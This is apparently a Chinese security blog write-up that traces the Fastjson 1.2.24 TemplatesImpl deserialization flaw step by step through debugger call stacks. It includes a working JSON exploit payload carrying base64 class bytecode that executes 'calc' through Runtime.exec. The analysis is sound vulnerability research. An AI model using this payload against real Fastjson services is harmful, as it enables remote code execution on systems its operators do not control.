0%

Fastjson1.22-1.24反序列化之TemplateImpl

前言

初探FastJson,version = 1.2.24

FastJson

Fastjson是Alibaba开发的Java语言编写的高性能 JSON 库,用于将数据在 JSON 和 Java Object 之间互相转换,提供两个主要接口 JSON.toJSONStringJSON.parseObject/JSON.parse 来分别实现序列化和反序列化操作。

Demo

添加环境

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

Person类

import java.util.HashMap;
import java.util.Map;

public class Person {
private String name;
private Map age;

Person(){};
Person(String name){
this.name = name;
}

public void setName(String name){
this.name = name;
System.out.println("setName invoke");
}

public String getName(){

System.out.println("getName invoke");
return name;
}
public Map getAge(){
System.out.println("getAge invoke");
return new HashMap();
}
}

Demo类

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

import java.util.HashMap;

public class fastjsonDemo {
public static void main(String[] args) {
//Map类型
HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put("key1","value1");
map.put("key2","value2");
String mapJson1 = JSON.toJSONString(map);
String mapJson2 = JSON.toJSONString(map,SerializerFeature.WriteClassName);
System.out.println(mapJson1);
System.out.println(mapJson2);

//序列化
Person person = new Person("Y0ng",20);
String PersonJson1 = JSON.toJSONString(person);
String PersonJson2 = JSON.toJSONString(person, SerializerFeature.WriteClassName);

System.out.println(PersonJson1);
System.out.println(PersonJson2);

//通过parse方法进行反序列化
Person Unperson = (Person) JSON.parse(PersonJson2);
System.out.println(Unperson.getName());
System.out.println();

//通过parseObject方法进行反序列化 通过这种方法返回的是一个JSONObject
Object obj = JSON.parseObject(PersonJson2);
System.out.println(obj);
System.out.println("obj name:"+obj.getClass().getName()+"\n");

//通过这种方式返回的是一个相应的类对象
Object obj1 = JSON.parseObject(PersonJson2,Object.class);
System.out.println(obj1);
System.out.println("obj1 name:"+obj1.getClass().getName());
}
}

在序列化时加上 SerializerFeature.WriteClassName 这个参数值,会在序列化时写入一个 @type ,用来指定序列化的类的类型,后面是其属性名和值。

image-20220310152515276

FastJson利用 toJSONString 方法来序列化对象,而反序列化还原回 Object 的方法,有三个,分别是

  • JSON.parseObject()
  • JSON.parse()
  • JSON.parseArray()

前两个最主要的区别就是 parseObject 返回的是 JSONObjectparse 返回的是实际类型的对象,当在没有对应类的定义的情况下,通常情况下都会使用 JSON.parseObject 来获取数据。

parse 他会去优先去匹配调用字段的set方法,如果没有set方法,就会去寻找字段的get方法(有条返回值要是Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong,这就是TemplatesImpl调用链的触发原因)

parseObject会调用set与get方法

image-20220315000730650

小结

使用 SerializerFeature.WriteClassName 时 会在序列化中写入当前的 type@type 可以 指定反序列化任意类调用其set,get,is方法。而问题恰恰出现在了这个特性,我们可以配合一些存在问题的类,然后继续操作,造成RCE的问题

流程跟进

以 TemplatesImpl 加载字节码为例子分析

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import java.util.HashMap;

public class fastjsonDemo {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAKcG9jXzEuamF2YQwACAAJBwAhDAAiACMBAARjYWxjDAAkACUBAAVwb2NfMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAAJAAQACgANAAsADAAAAAQAAQANAAEADgAPAAEACgAAABkAAAAEAAAAAbEAAAABAAsAAAAGAAEAAAAOAAEADgAQAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAARAAwAAAAEAAEAEQAJABIAEwACAAoAAAAlAAIAAgAAAAm7AAVZtwAGTLEAAAABAAsAAAAKAAIAAAATAAgAFAAMAAAABAABABQAAQAVAAAAAgAW\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
JSON.parseObject(payload, Feature.SupportNonPublicField);

}
}

image-20220317205210459

跟进

image-20220317205423541

接着调用parse

image-20220317205759624

发现 JSON#parse() 种实例化 DefaultJSONParser 类 并调用 DefaultJSONParser#parse()

image-20220317205852093

可以看到传入的还有黑名单 ParserConfig#getGlobalInstance()

image-20220317210104781

先跟入实例化过程,调用了 JSONScanner()

image-20220317210152569

跟进 JSONScanner#JSONScanner() 就是获取输入长度 调用next()

image-20220317210307649

next() 就是字符串扫描

image-20220317210502178

回到 DefaultJSONParser 实例化过程,lexer 就是上一步传入实例化的 JSONScanner,ch 通过getCurrent()获得首个字符 即 { ,lexer的token 被赋值为 12

image-20220317211238721

此时实例化完成,调用 DefaultJSONParser#parse() ,对lexer的token进行switch

image-20220317211426107

进入 12 的分支 ,创建JSONObject 的对象 ,调用 DefaultJSONParser#parseObject()

image-20220317211533726

在 DefaultJSONParser#parseObject() 中,获取到目前字符 即 "

image-20220317211930797

然后通过 scanSymbol() 匹配特定字符 @type

image-20220317212147494

获取typeName 然后调用 TypeUtils.loadClass进行加载恶意Class,这里首先会从mappings里面寻找类,mappings中存放着一些Java内置类,前面一些条件不满足,所以最后用ClassLoader加载类

image-20220317212507880

然后走到反序列化的地方,创建 ObjectDeserializer 对象并调用了deserialze方法

image-20220317212729021

跟入ParseConfig#getDeserializer()

image-20220317213325439

经过不断调试,会调用 ParseConfig#createJavaBeanDeserializer()

跟进走到关键函数 获取 javabean的info

image-20220322210645560

跟进 JavaBeanInfo#build()

image-20220322210754105

此时调用栈

build:137, JavaBeanInfo (com.alibaba.fastjson.util)
createJavaBeanDeserializer:526, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:461, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:312, ParserConfig (com.alibaba.fastjson.parser)
parseObject:367, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:27, fastjsonDemo

看看干了什么,反射获取所有的字段和方法,创建变量 fieldList

image-20220322211234528

接下来会经历三个for循环,将特定的值放入fieldList中

image-20220322211529330

看看第一个for 操作为获取setter方法,setter判断为四个限定条件

  • 函数名长度大于等于4
  • 非静态方法
  • 返回类型为void 或者当前对象类型
  • set开头
  • 参数长度为1
  • 第四个字母为大写

image-20220322212337171

接着是第三个for循环为获取getter方法,同样的限定方法如下

  • 函数名长度大于等于4
  • 非静态方法
  • get开头
  • 第四个字母为大写
  • 无参数
  • 返回值类型继承自Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong
  • getter方法没有对应的setter方法

image-20220322213129482

最后有三个符合参数,最后作为参数传入JavaBeanInfo类的实例

image-20220322230827699

向上返回到执行deserialize方法处

image-20220317212729021

然后执行 JavaBeanDeserializer#deserialze(),这里断点不管用

image-20220317213955860

最后会走到这个函数

image-20220318123226448

for循环 后半部分处理JSON中剩下的键值对

image-20220322235805825

通过scanSymbol 函数获取下个键名 第一个获取到了_bytecodes

image-20220323170902717

创建了对象

image-20220323171218189

在600行调用了parseField 去解析 _bytecodes的值

image-20220323171330762

JavaBeanDeserializer#parseField() 调用 smartMatch 处理 键名 跟进

image-20220323171557548

JavaBeanDeserializer#smartMatch()

image-20220323171658066

又调用了getFieldDeserializer() 跟进,会将键名与之前 setter/getter筛选出来的field进行比较是否相同,_bytecodes 比较结果是false,返回null

image-20220323172055574

返回到smartMatch()中 将返回值设置为 fieldDeserializer ,进入if分支,将 _ 和 - 替换为 ,结果就是key变为了bytecodes

image-20220323172738265

smartMatch()返回值为fieldDeserializer = null

image-20220323173733654

为fieldDeserializer 赋值为

image-20220323173659765

调用parseField函数 跟进

image-20220323173849324

DefaultFieldDeserializer#parseField() 调用 fieldValueDeserilizer.deserialze

image-20220323174049806

在 fieldValueDeserilizer.deserialze 会将 _bytecodes内容进行base64解码,返回值给到value,然后调用setValue将内容

base解码调用栈

在这里插入图片描述

image-20220323174750392

调用栈

decodeBase64:478, IOUtils (com.alibaba.fastjson.util)
bytesValue:112, JSONScanner (com.alibaba.fastjson.parser)
deserialze:136, ObjectArrayCodec (com.alibaba.fastjson.serializer) [2]
parseArray:723, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:177, ObjectArrayCodec (com.alibaba.fastjson.serializer) [1]
parseField:71, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:13, java1_2_25

FieldDeserializer#setValue

image-20220323175139852

然后一直返回到 JavaBeanDeserializer#deserialze() 进入下一次for循环

image-20220323175401345

_outputProperties

中间的一些 _name、_tfactory等跳过,同样的在600行调用parseField进行解析

image-20220323180352324

同样进入smartMatch,但是由于去掉 _ 符合sortedFieldDeserializers中的三个元素,返回fieldDeserializer

image-20220323180507426

经过 fieldValueDeserilizer.deserialze 然后进入setValue

image-20220323180940426

在setValue中 尝试获取field的方法,此时

method = public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

image-20220323181453995

然后反射调用 调用 newTransformer()然后defineClass加载恶意类

setValue:136, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:27, fastjsonDemo

参考

FastJson安全初探-反序列化漏洞回顾分析 - 先知社区 (aliyun.com)

Java安全之FastJson反序列化初探 · 语雀 (yuque.com)